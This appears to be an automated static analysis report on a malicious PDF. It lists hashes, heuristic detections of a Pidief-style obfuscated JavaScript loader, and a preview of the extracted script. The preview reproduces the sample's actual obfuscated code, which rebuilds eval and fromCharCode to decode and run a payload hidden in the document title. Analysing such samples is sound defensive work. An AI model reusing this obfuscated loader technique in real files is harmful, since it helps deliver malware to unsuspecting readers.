Malicious PDF — malware analysis report

Static analysis result for SHA-256 4093687c39dceee6…

MALICIOUS

PDF

45.3 KB First seen: 2013-09-08
MD5: 0992162c66942eeaad36ac7d4a7096d6 SHA-1: 36119c80a59a8262bcda308351fd555ae52981bb SHA-256: 4093687c39dceee6f65a60068b1027e0930af1263c0d33a83b25006cb02e4b88
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript is likely intended to download and execute a second-stage payload, although the specific actions are not detailed in the provided evidence. The 'test' in the document body is not indicative of malicious intent but the presence of the script is.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB1CC 614 bytes
SHA-256: c841e901c706c4ae831895d101c3fd64d05c41d1e2fc3e60af3ddcb6d070a4df
Preview script
First 1,000 lines of the extracted script
ucv='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w","v",'r'];
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
dlxxy=e('ti'+'tle');
s=dlxxy.substr(t.length + 8,3)+'str';
q=dlxxy[s](1,(1,9));
bvy=e('S'+'tring.fro'+q);
q=dlxxy[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	elhkb = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	ucv += bvy(elhkb);
}
e(ucv);

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